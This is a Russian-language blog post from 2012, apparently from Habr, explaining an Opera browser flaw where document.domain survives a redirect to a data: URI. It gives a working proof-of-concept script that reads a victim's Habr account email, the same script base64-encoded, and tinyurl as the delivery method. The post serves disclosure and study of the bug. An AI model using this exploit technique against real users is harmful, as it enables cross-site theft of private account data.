Позавчера (05.10.2012) M_script поведал об одной критической уязвисмости в браузерах Opera. Уязвимость позволяет злоумышленнику, заманив пользователя использующего браузер Opera (вплоть до 12.10betta) получить доступ к конфиденциальной информации конкретного сайта используя XSS. Ошибка заключается в сохранении параметра document.domain, даже после редиректа. Поясню подробнее. В опере как и в других современных браузерах есть поддержка схемы data, которая позволяет выполнять javascript код для конкретного домена и не только.

В чем ошибка

Самое важное тут в том, что даже после редиректа с промежуточного сайта, на схему data, в document.domain остаётся значение домена до редиректа, т.е. откуда пользователь перешёл по ссылке, это позволяет нам работать с данными относящимися к этому домену как к своему.

Реализуем атаку на Хабр

Первым делом напишем java скрипт, который выполнит запрос с помощью XMLHttpRequest к нашему аккаунту аккаунту и найдет там email.
<script>if(document.domain == 'tinyurl.com')location.reload(); 
var x = new XMLHttpRequest;
x.open('GET', 'http://habrahabr.ru/settings/account/', false);
x.send(null);
var m = x.responseText.match(/name="email_recover" value="(.+?)"/)[1];
alert(m);
</script>

Тут думаю всё ясно.
Закодируем этот скрипт в base64.
PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW4gPT0gJ3Rpbnl1cmwuY29tJylsb2NhdGlvbi5yZWxvYWQoKTsgCnZhciB4ID0gbmV3IFhNTEh0dHBSZXF1ZXN0Owp4Lm9wZW4oJ0dFVCcsICdodHRwOi8vaGFicmFoYWJyLnJ1L3NldHRpbmdzL2FjY291bnQvJywgZmFsc2UpOwp4LnNlbmQobnVsbCk7CnZhciBtID0geC5yZXNwb25zZVRleHQubWF0Y2goL25hbWU9ImVtYWlsX3JlY292ZXIiIHZhbHVlPSIoLis/KSIvKVsxXTsKYWxlcnQobSk7Cjwvc2NyaXB0Pg==

Осталось создать ссылку на схему. Использовать можно как прямое обращение к data, так и через редирект (особенность оперы, FF тоже не лучше, если переходить напряму на data). Поскольку многие сайты не дают вставить в качестве аттрибута перехода простую конструкцию с data (в т.ч. хабр), мы воспользуемся сервисом tinyurl.

Результат наших действий показан ниже.

Для тех, кто хочет проверить свою версию оперы на наличие бага, милости прошу

Ну и видео по угону e-mail'a с twitter.com.